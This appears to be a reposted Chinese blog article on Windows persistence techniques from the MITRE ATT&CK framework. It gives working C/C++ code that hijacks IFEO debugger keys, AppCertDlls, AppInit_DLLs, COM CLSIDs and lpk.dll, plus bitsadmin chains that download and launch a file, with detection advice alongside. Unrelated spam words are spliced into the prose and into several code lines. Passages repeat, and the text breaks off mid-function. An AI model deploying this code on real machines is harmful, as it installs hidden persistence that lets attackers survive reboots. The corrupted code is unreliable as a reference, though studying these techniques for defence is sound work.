您当前的位置:网站首页>郑雨盛,小s-万物皆可 App,app发展,创建app

郑雨盛,小s-万物皆可 App,app发展,创建app

2019-09-02 09:58:30 投稿作者:admin 围观人数:305 评论人数:0次

前语

在网络安全的国际里,白帽子与黑帽子之间无时无刻都在进行着正与邪的对立,如同永无休止。正所谓,道高一尺魔高一丈,巨大的利益唆使着个人或组织运用技能进行不法行为,把戏层出不穷,令人防不胜防。

为了更好的应对这些进犯手法,就需求做到了解对手。俗话说:知己知彼,方能百战不殆。MITRE ATT&CK™就供给了全球规模的黑客的进犯手法和技能常识点,并把 APT 组织或歹意东西运用到的进犯手法逐个对应,便于从本源上处理问题。许多公司和政府部门都会从中提取信息,针对遇到的要挟树立安全体系或模型。咱们作为安全从业人员,假如能够把握 MITRE ATT&CK™如此巨大的常识体系,对今后的作业和对立来说,就像是具有了一个武器库,所向无敌。

当然,这么一个巨大的体系是不或许一蹴即至的。咱们能够依照 MITRE ATT&CK™的结构,先从耐久化这一点开端。本文的主要内容是介绍 APT 进犯者在 Windows 体系下耐久运转歹意代码的常用手法,其间的原理是什么,是怎样完结的,咱们应该从哪些方面防备和检测。期望对咱们有所协助!

本文测验环境:

测验体系:Windows 7

编译器:Visual Stuidio 2008

测验体系:Windows 7

编译器:Visual Stuidio 2008

以下是本文依照 MITRE ATT&CK 结构介绍的比方和其对应的介绍,咱们深入剖析了完结的原理,而且经过原理开发了相应的运用东西进行测验,测验呈现出的作用也都在下文逐个展现。

标题 简介 权限 链接 辅佐功用镜像绑架 在注册表中创立一个辅佐功用的注册表项,并依据镜像绑架的原理增加键值,完结体系在未登录状况下,经过快捷键运转自己的程序。 办理员 https://attack.mitre.org/techniques/T1015/

进程注入之 AppCertDlls 注册表项 编写了一个 dll,创立一个 AppCertDlls 注册表项,在默许键值中增加 dll 的途径,完结了对运用特定 API 进程的注入。 办理员 进程注入之 AppInit_DLLs 注册表项 在某个注册表项中修正 AppInit_DLLs 和 LoadAppInit_DLLs 键值,完结对加载 user32.dll 进程的注入。 办理员 BITS 的灵敏运用 经过 bitsadmin 指令参加传输使命,运用 BITS 的特性,完结每次重启都会履行自己的程序。 用户 Com 组件绑架 编写了一个 dll,放入特定的途径,在注册表项中修正默许和 ThreadingModel 键值,完结翻开计算器就会运转程序。 用户 DLL 绑架 编写了一个 lpk.dll,依据 Windows 的查找办法放在指定目录中,修正注册表项,完结了开机郑雨盛,小s-万物皆可 App,app开展,创立app发动履行 dll。 用户 Winlogon helper 编写了一个 dll,里边有一个导出函数,修正注册表项,完结用户登录时履行导出函数。 办理员 篡改服务进程 编写一个服务进程,修正服务的注册表项,完结了开机发动自己的服务进程。 办理员 替换屏幕维护程序 修正注册表项,写入程序途径,完结在触发屏保程序运转时咱们的程序被履行 用户 创立新服务 编写具有增加服务和修正注册表功用的程序以及有必定格局的 dll,完结服务在后台安稳运转。 办理员 发动项 依据 Startup 目录和注册表 Run 键,创立快捷办法和修正注册表,完结开机自发动 用户 WMI 事情过滤 用 WMIC 东西注册 WMI 事情,完结开机 120 秒后触发设定的指令 办理员 Netsh Helper DLL 编写了一个 netsh helper dll,经过 netsh 指令参加了 helper 列表,并将 netsh 参加了方案使命,完结开机履行 DLL 办理员 辅佐功用镜像绑架 代码及原理介绍

为了使电脑更易于运用和拜访,Windows 增加了一些辅佐功用。这些功用能够在用户登录之前以组合键发动。依据这个特征,一些歹意软件无需登录到体系,经过长途桌面协议就能够履行歹意代码。

一些常见的辅佐功用如:

C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键

C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键

C:\Windows\System32\sethc.exe 粘滞键 快捷键:按五次 shift 键

C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键

下图便是在未登陆时弹出的设置中心

在较早的 Windows 版别,只需求进行简略的二进制文件替换,比方,程序」C:\Windows\System32\utilman.exe」能够替换为「cmd.exe」。

关于在 Windows Vista 和 Windows Server 2008 及更高的版别中,替换的二进制文件受到了体系的维护,因而这儿就需求另一项技能:映像绑架。

映像绑架,也被称为「IFEO」(Image File Execution Options)。当方针程序被映像绑架时,双击方针程序,体系会转而运转绑架程序,并不会运转方针程序。许多病毒会运用这一点来按捺杀毒软件的运转,并运转自己的程序。

形成映像绑架的元凶巨恶便是参数「Debugger」,它是 IFEO 里第一个被处理的参数,体系假如发现某个程序文件在 IFEO 列表中,它就会首要来读取 Debugger 参数,假如该参数不为空,体系则会把 Debugger 参数里指定的程序文件名作为用户企图发动的程序履行恳求来处理,而仅仅把用户企图发动的程序作为 Debugger 参数里指定的程序文件名的参数发送曩昔。

参数「Debugger」原本是为了让程序员能够经过双击程序文件直接进入调试器里调试自己的程序。现在却成了病毒的进犯手法。

简略操作便是修正注册表,在「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」中增加 utilman.exe 项,在此项中增加 debugger 键,键值为要发动的程序途径。

完结代码:

HKEY hKey;

const char path[] = "C:\\hello.exe";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

当然,咱们自己的程序要放到相应的途径,关于资源文件的开释,下文会说到,这儿暂时按下不讲。

运转作用图

当从头回到登录界面,按下快捷键时,成果如图:

注册表键值状况如下图:

检查及铲除办法

检查「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」注册表途径中的程序称号

其它适用于的辅佐功用还有:

屏幕键盘:C:\Windows\System32\osk.exe

放大镜:C:\Windows\System32\Magnify.exe

旁白:C:\Windows\System32\Narrator.exe

显现开关:C:\Windows\System32\DisplaySwitch.exe

运用程序开关:C:\Windows\System32\AtBroker.exe

屏幕键盘:C:\Windows\System32\osk.exe

放大镜:C:\Windows\System32\Magnify.exe

旁白:C:\Windows\System32\Narrator.exe

显现开关:C:\Windows\System32\DisplaySwitch.exe

运用程序开关:C:\Windows\System32\AtBroker.exe

现在大部分的杀毒软件都会监督注册表项来防护这种歹意行为。

进程注入之 AppCertDlls 注册表项 代码及原理介绍

假如有进程运用了 CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW 或 WinExec 函数,那么此进程会获取 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls 注册表项,此项下的 dll 都会加载到此进程。

Win7 版别下没有「AppCertDlls」项,需自己创立。

代码如下:

HKEY hKey;

const char path[] = "C:\\dll.dll";

RegCreateKe戒五笔怎样打yExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

Dll 代码:

BOOL TestMutex

{

HANDLE hMutex = CreateMutexA(NULL, false, "myself");

if (GetLastError == ERROR_ALREADY_EXISTS)

{

CloseHandle(hMutex);

return 0;

}

return 1;

}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

if (TestMutex == 0)

return TRUE;

MessageBoxA(0,"hello topsec","AppCert",0);

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

运转作用图

修正完注册表之后,写个测验小程序,用 CreateProcess 翻开 notepad.exe

能够看到 test.exe 中现已加载 dll.dll,并弹出「hello topsec」。也能发现,在 svchost.exe 和 taskeng.exe 中也加载了 dll.dll。

检查及铲除办法

1.监测 dll 的加载,特别是查找不是一般的 dll,或许不是正常加载的 dll。

2.监督 AppCertDLL 注册表值

3.监督和剖析注册表修正的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

1.监测 dll 的加载,特别是查找不是一般的 dll,或许不是正常加载的 dll。

2.监督 AppCertDLL 注册表值

3.监督和剖析注册表修正的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

User32.dll 被加载到进程时,会获取 AppInit_DLLs 注册表项,若有值,则调用 LoadLibrary API 加载用户 DLL。只会影响加载了 user32.dll 的进程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代码如下:

HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\AppInit.dll";

DWORD dwData = 1;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));

运转作用图

修正往后如下图所示:

运转 cmd.exe,就会发现 cmd.exe 现已加载指定 dll,并弹框。

此注册表项下的每个库都会加载到每个加载 User32.dll 的进程中。User32.dll 是一个十分常见的库,用于存储对话框等图形元素。歹意软件能够在 Appinit_Dlls 注册表项下刺进其天才j2歹意库的方位,以使另一个进程加载其库。因而,当歹意软件修正此子键时,大多数进程将加载歹意库。

检查及铲除办法

1.监测加载 User32.dll 的进程的 dll 的加载,特别是查找不是一般的 dll,或许不是正常加载的 dll。

2.监督 AppInit_DLLs 注册表值。

3.监督和剖析注册表修正的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

1.监测加载 User32.dll 的进程的 dll 的加载,特别是查找不是一般的 dll,或许不是正常加载的 dll。

2.监督 AppInit_DLLs 注册表值。

3.监督和剖析注册表修正的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

BITS,后台智能传输服务,是一个 Windows 组件,它能够运用闲暇的带宽在前台或后台异步传输文件,例如,当运用程序运用 80% 的可用带宽时,BITS 将只运用剩余的 20%。不影响其他网络运用程序的传输速度,并支撑在从头发动计算机或从头树立网络衔接之后主动康复文件传输。

一般来说,BITS 会代表恳求的运用程序异步完结传输,即运用程序恳求 BITS 服务进乱片AA行传输后,能够自由地去履行其他使命,甚至间断。只需网络已衔接而且使命一切者已登录,则传输就会在后台进行。当使命一切者未登录时,BITS 使命不会进行。

BITS 选用行列办理文件传输。一个 BITS 会话是由一个运用程序创立一个使命而开端。一个使命便是一份容器,它有一个或多个要传输的文件。新创立的使命是空的,需求指定来历与方针 URI 来增加文件。下载使命能够包括恣意多的文件,而上传使命中只能有一个文件。能够为各个文件设置特点。使命将承继创立它的运用程序的安全上下文。BITS 供给 API 接口来操控使命。经过编程能够来发动、间断、暂停、继续使命以及查询状况。在发动一个使命前,有必要先设置它相关于传输行列中其他使命的优先级。默许状况下,一切使命均为正常优先级,而使命能够被设置为高、低或前台优先级。BITS 将优化后台传输被,依据可用的闲暇网络带宽来增加或削减(按捺)传输速率。假如一个网络运用程序开端耗用更多带宽,BITS 将约束其传输速率以确保用户的交互式体会,但前台优先级的使命在外。

BITS 的调度选用分配给每个使命有限时刻片的机制,一个使命被暂停时,另一个使命才有机遇取得传输机遇。较高优先级的使命将取得较多的时刻片。BITS 选用循环制处理相同优先级的使命,并避免大的传输使命堵塞小的传输使命。

常用于 Windows Update 的装置更新。

BITSAdmin,BITS 办理东西,是办理 BITS 使命的指令行东西。

常用指令:

列出一切使命:bitsadmin /list /allusers /verbose

删去某个使命:bitsadmin /cancel

删去一切使命:bitsadmin /reset /allusers

完结使命:bitsadmin /complete

列出一切使命:bitsadmin /list /allusers /verbose

删去某个使命:bitsadmin /cancel

删去一切使命:bitsadmin /reset /allusers

完结使命:bitsadmin /complete

完好装备使命指令如下:

bitsadmin /create TopSec

bitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edf

eecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg C:\TopSec.jpg

bitsadmin.exe /SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"TopSec\" && start /B C:\TopSec.jpg"

bitsadmin /Resume TopSec

下载图片到指定文件夹,完结后直接翻开图片。

假如图片能够翻开,那么就阐明能够翻开恣意二进制程序。而 BITS 又有能够间断后继续作业的特性,所以下面便是处理在体系从头发动后仍能主动运转的操作。

现在将完结参数「complete」去掉,为了节省时刻,将下载的长途服务器文件换本钱地文件。代码如下:

void BitsJob

{

char szSaveName[MAX_PATH] = "C:\\bitshello.exe";

if (FALSE == m_Bits)

{

// 开释资源

BOOL bRet = FreeMyResource(IDR_MYRES22, "MYRES2", szSaveName);

WinExec("bitsadmin /create TopSec", 0);

WinExec("bitsadmin /addfile TopSec \"C:\\Windows\\system32\\cmd.exe\" \"C:\\cmd.exe\"", 0);

WinExec("bitsadmin.exe /SetNotifyCmdLine TopSec \"C:\\Windows\\system32\\cmd.exe\" \"cmd.exe /c C:\\bitshello.exe\"", 0);

WinExec("bitsadmin /Resume TopSec", 0);

m_Bits = TRUE;

}

else

{

WinExec("bitsadmin /complete TopSec", 0);

remove(szSaveName);

m_Bits = FALSE;

}

UpdateData(FALSE);

}

免除未完结状况,需求指令「bitsadmin /complete TopSec」。

运转作用图

运转之后,拷贝到 C 盘的 cmd.exe 没有呈现,却仍然弹出对话框。

检查 BITS 使命列表,发现使命仍然存在

重启计算机,发现弹出对话框,BITS 使命仍然存在。

履行指令「bitsadmin /complete TopSec」,呈现拷贝到 C 盘的程序 cmd.exe, 使命完结。

检查及铲除办法

1.BITS 服务的运转状况能够运用 SC 查询程序来监督(指令:sc query bits),使命列表由 BITSAdmin 来查询。

2.监控和剖析由 BITS 生成的网络活动。

1.BITS 服务的运转状况能够运用 SC 查询程序来监督(指令:sc query bits),使命列表由 BITSAdmin 来查询。

2.监控和剖析由 BITS 生成的网络活动。

COM 是 Component Object Model(组件方针模型)的缩写,COM 组件由 DLL 和 EXE 办法发布的可履行代码所组成。每个 COM 组件都有一个 CLSID,这个 CLSID 是注册的时分写进注册表的,能够把这个 CLSID 理解为这个组件终究能够实例化的子类的一个 ID。这样就能够经过查询注册表中的 CLSID 来找到 COM 组件地点的 dll 的称号。

所以要想 COM 绑架,有必要精心选择 CLSID,尽量选择运用规模广的 CLSID。这儿,咱们选择的 CLSID 为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来完结对 CAccPropServicesClass 和 MMDeviceEnumerator 的绑架。体系许多正常程序发动时需求调用这两个实例。例如计算器。

Dll 寄存的方位://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

Dll 寄存的方位://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

接下来便是修正注册表,在指定途径增加文件,详细代码如下:

void CPersistenceDlg::comHijacking

{

HKEY hKey;

DWORD dwDisposition;

//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}

char system1[] = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

char system2[] = "Apartment";

string defaultPath = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";

string szSaveName = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

if (FALSE == m_Com)

{

//string folderPath = defaultPath + "\\testFolder";

string command;

command = "mkdir -p " + defaultPath;

system(command.c_str);

// 开释资源

BOOL bRet = FreeMyResource(IDR_MYRES23, "MYRES2", system1);

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

ShowError("RegCreateKeyExA");

return;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))

{

ShowError("RegSetValueEx");

return;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))

{

ShowError("RegSetValueEx");

return;

}

::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);

m_Com = TRUE;

}

else

{

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

ShowError("RegCreateKeyExA");

return;

}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))

{

ShowError("RegDeleteValueA");

return;

}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))

{

ShowError("RegDeleteValueA");

return;

}

remove(szSaveName.c_str);

remove(defaultPath.c_str);

::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);

m_Com = FALSE;

}

UpdateData(FALSE);

}

运转作用图

运转后,文件和注册表如下:

运转计算器,弹出对话框:

检查及铲除办法

1.因为 COM 方针是操作体系和已装置软件的合法部分,因而直接阻挠对 COM 方针的更改或许会对正常的功用发作副作用。相比之下,运用白名单辨认潜在的病毒会更有用。

2.现有 COM 方针的注册表项或许很少发作更改。当具有已知途径和二进制的条目被替换或更改为反常值以指向新方位中的不知道二进制时,它或许是可疑的行为,应该进行调查。相同,假如搜集和剖析程序 DLL 加载,任何与 COM 方针注册表修正相关的反常 DLL 加载都或许标明已履行 COM 绑架。

1.因为 COM 方针是操作体系和已装置软件的合法部分,因而直接阻挠对 COM 方针的更改或许会对正常的功用发作副作用。相比之下,运用白名单辨认潜在的病毒会更有用。

2.现有 COM 方针的注册表项或许很少发作更改。当具有已知途径和二进制的条目被替换或更改为反常值以指向新方位中的不知道二进制时,它或许是可疑的行为,应该进行调查。相同,假如搜集和剖析程序 DLL 加载,任何与 COM 方针注册表修正相关的反常 DLL 加载都或许标明已履行 COM 绑架。

众所周知,Windows 有资源同享机制,当方针想要拜访此同享功用时,它会将恰当的 DLL 加载到其内存空间中。可是,这些可履行文件并不总是知道 DLL 在文件体系中的切当方位。为了处理这个问题,Windows 完结了不同目录的查找次序,其间能够找到这些 DLL。

体系运用 DLL 查找次序取决于是否启用安全 DLL 查找办法。

WindowsXP 默许状况下禁用安全 DLL 查找办法。之后默许启用安全 DLL 查找办法

若要运用此功用,需创立 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0 为制止,1 为启用。

SafeDLLSearchMode 启用后,查找次序如下:

从其间加载运用程序的目录、体系目录。

运用 GetSystemDirectory 函数获取此目录的途径。

16 位体系目录。没有获取此目录的途径的函数,但会查找它。

Windows 目录。运用 GetWindowsDirectory 函数获取此目录。

其时目录。

PATH 环境变量中列出的目录。

从其间加载运用程序的目录、体系目录。

运用 GetSystemDirectory 函数获取此目录的途径。

16 位体系目录。没有获取此目录的途径的函数,但会查找它。

Windows 目录。运用 GetWindowsDirectory 函数获取此目录。

其时目录。

PATH 环境变量中列出的目录。

SafeDLLSearchMode 禁用后,查找次序如下:

从其间加载运用程序的目录

其时目录

体系目录。运用 GetSystemDirectory 函数获取此目录的途径。

16 位体系目录。没有获取此目录的途径的函数,但会查找它。

Windows 目录。运用 GetWindowsDirectory 函数获取此目录。

PATH 环境变量中列出的目录。

从其间加载运用程序的目录

其时目录

体系目录。运用 GetSystemDirectory 函数获取此目录的途径。

16 位体系目录。没有获取此目录的途径的函数,但会查找它。

Windows 目录。运用 GetWindowsDirectory 函数获取此目录。

PATH 环境变量中列出的目录。

DLL 绑架运用查找次序来加载歹意 DLL 以替代合法 DLL。假如运用程序运用 Windows 的 DLL 查找来查找 DLL,且进犯者能够将同名 DLL 的次序置于比合法 DLL 更高的方位,则运用程序将加载歹意 DLL。

能够用来绑架体系程序,也能够绑架用户程序。绑架体系程序具有兼容性,绑架用户程序则有针对性。结合本文的主题,这儿选择绑架体系程序。

能够绑架的 dll 有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以 lpk.dll 为列,explorer 桌面程序的发动需求加载 lpk.dll,当进入桌面后 lpk.dll 便被加载了,绑架 lpk.dll 之后,每次发动体系,自己的 lpk.dll 都会被加载,完结了耐久化进犯的作用。

下面便是要构建一个 lpk.dll:

1.将体系下的 lpk.dll 导入 IDA,检查导出表的函数

2.结构一个和 lpk.dll 相同的导出表

3.加载体系目录下的 lpk.DLL;

4.将导出函数转发到体系目录下的 LPK.DLL 上

5.在初始化函数中参加咱们要履行的代码。

详细 dll 代码如下:

#include "pch.h"

#include

#include

// 导出函数

#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")

#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")

#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")

#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")

#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")

#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")

#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")

#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")

#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")

#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")

// 宏界说

#define EXTERNC extern "C"

#define NAKED __declspec(naked)

#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED

#define ALSTD EXTERNC EXPORT NAKED void __stdcall

#define ALCFAST EXTERNC EXPORT NAKED void __fastcall

#define ALCDECL EXTERNC NAKED void __cdecl

//LpkEditControl 导出的是数组,不是单一的函数(by Backer)

EXTERNC void __cdecl AheadLib_LpkEditControl(void);

EXTERNC __declspec(dllexport) void (*LpkEditControl[14]) = { AheadLib_LpkEditControl };

//增加全局变量

BOOL g_bInited = FALSE;

// AheadLib 命名空间

namespace AheadLib

{

HMODULE m_hModule = NULL;

// 原始模块句柄

// 加载原始模块

BOOL WINAPI Load

{

TCHAR tzPath[MAX_PATH];

TCHAR tzTemp[MAX_PATH * 2];

GetSystemDirectory(tzPath, MAX_PATH);

lstrcat(tzPath, TEXT("\\lpk.dll"));

OutputDebugString(tzPath);

m_hModule = LoadLibrary(tzPath);

if (m_hModule == NULL)

{

wsprintf(tzTemp, TEXT佳能80d("无法加载 %s,程序无法正常运转。"), tzPath);

MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);

};

return (m_hModule != NULL);

}

// 开释原始模块

VOID WINAPI Free

{

if (m_hModule)

{

FreeLibrary(m_hModule);

}

}

// 获取原始函数地址

FARPROC WINAPI GetAddress(PCSTR pszProcName)

{

FARPROC fpAddress;

CHAR szProcName[16];

TCHAR tzTemp[MAX_PATH];

fpAddress = GetProcAddress(m_hModule, pszProcName);

if (fpAddress == NULL)

{

if (HIWORD(pszProcName) == 0)

{

wsprintfA(szProcName, "%p", pszProcName);

pszProcName = szProcName;

}

wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运转。"), pszProcName);

MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);

ExitProcess(-2);

}

return fpAddress;

}

}

using namespace AheadLib;

//函数声明

void WINAPIV Init(LPVOID pParam);

void WINAPIV Init(LPVOID pParam)

{

MessageBoxA(0, "Hello Topsec", "Hello Topsec", 0);//在这儿增加 DLL 加载代码

return;

}

// 进口函数

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)

{

if (dwReason == DLL_PROCESS_ATTACH)

{

DisableThreadLibraryCalls(hModule);

if (g_bInited == FALSE) {

Load;

g_bInited = TRUE;

}

//LpkEditControl 这个数组有 14 个成员,有必要将其仿制过来

memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);

_beginthread(Init, NULL, NULL);

}

else if (dwReason == DLL_PROCESS_DETACH)

{

Free;

}

return TRUE;

}门庭若市

// 导出函数

ALCDECL AheadLib_LpkInitialize(void)

{

if (g_bInited == FALSE) {

Load;

g_bInited = TRUE;

}

GetAddress("LpkInitialize");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkTabbedTextOut(void)

{

GetAddress("LpkTabbedTextOut");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkDllInitialize(void)

{

GetAddress("LpkDllInitialize");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkDrawTextEx(void)

{

GetAddress("LpkDrawTextEx");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkEditControl(void)

{

GetAddress("LpkEditControl");

__asm jmp DWORD ptr[EAX];//这儿的 LpkEditControl 是数组,eax 存的是函数指针

}

// 导出函数

ALCDECL AheadLib_LpkExtTextOut(void)

{

GetAddress("LpkExtTextOut");

__asm JMP EAX;

}

// 导出函数

A郑雨盛,小s-万物皆可 App,app开展,创立appLCDECL AheadLib_LpkGetCharacterPlacement(void)

{

GetAddress("LpkGetCharacterPlacement");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkGetTextExtentExPoint(void)

{

GetAddress("LpkGetTextExtentExPoint");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkPSMTextOut(void)

{

GetAddress("LpkPSMTextOut");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkUseGDIWidthCache(void)

{

GetAddress("LpkUseGDIWidthCache");

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_ftsWordBreak(void)

{

GetAddress("ftsWordBreak");

__asm JMP EAX;

}

最终修正注册表键值 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager ExcludeFromKnownDlls,把 lpk.dll 加进去。

HKEY hKey;

DWORD dwDisposition;

const char path[] = "lpk.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE," System \\ CurrentControlSet \\ Control\\ SessionManager ", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition));

RegSetValueExA(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

运转作用图

将生成的 lpk.dll 放到 c:/Windows 目录

重启体系,主动弹出对话框

查找 explorer,加载的正是咱们的 lpk.dll

注册表修正如下

检查及铲除办法

1.启用安全 DLL 查找办法,与此相关的 Windows 注册表键坐落 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

2.监督加载到进程中的 DLL,并检测具有相同文件名但途径反常的 DLL。

1.启用安全 DLL 查找办法,与此相关的 Windows 注册表键坐落 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

2.监督加载到进程中的 DLL,并检测具有相同文件名但途径反常的 DLL。

Winlogon.exe 进程是 Windows 操作体系中十分重要的一部分,Winlogon 用于履行与 Windows 登录进程相关的各种要害使命,例如,当在用户登录时,Winlogon 进程担任将用户装备文件加载到注册表中。

Winlogon 进程会 HOOK 体系函数监控键盘是否按下 Ctrl + Alt + Delete,这被称为「Secure Attention Sequence」,这便是为什么一些体系会装备为要求您在登录前按 Ctrl + Alt + Delete。这种键盘快捷键的组合被 Winlogon.exe 捕获,确保您安全登录桌面,其他程序无法监控您正在键入的暗码或模仿登录对话框。Windows 登录运用程序还会捕获用户的键盘和鼠标活动,在一段时刻未发现键盘和鼠标活动时发动屏幕维护程序。

总归,Winlogon 是登录进程的要害部分,需求继续在后台运转。假如您有爱好,Microsoft 还供给 Winlogon 进程的更详细的技能阐明,在此不再赘述。

在注册表项 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\Cu郑雨盛,小s-万物皆可 App,app开展,创立apprrentVersion\Winlogon\用于办理支撑 Winlogon 的协助程序和扩展功用,对这些注册表项的歹意修正或许导致 Winlogon 加载和履行歹意 DLL 或可履行文件。已知以下子项或许简单被歹意代码所运用:

Winlogon\Notify – 指向处理 Winlogon 事情的告诉包 DLL

Winlogon\Userinit – 指向 userinit.exe,即用户登录时履行的用户初始化程序

Winlogon\Shell – 指向 explorer.exe,即用户登录时履行的体系 shell

Winlogon\Notify – 指向处理 Winlogon 事情的告诉包 DLL

Winlogon\Userinit – 指向 userinit.exe,即用户登录时履行的用户初始化程序

Winlogon\Shell – 指向 explorer.exe,即用户登录时履行的体系 shell

进犯者能够运用这些功用重复履行歹意代码树立耐久后门,如下的代码演示了怎么经过在 Winlogon\Shell 子键增加歹意程序途径完结驻留体系的意图。

BOOL add_winlogon_helper

{

BOOL ret = FALSE;

LONG rcode = NULL;

DWORD key_value_type;

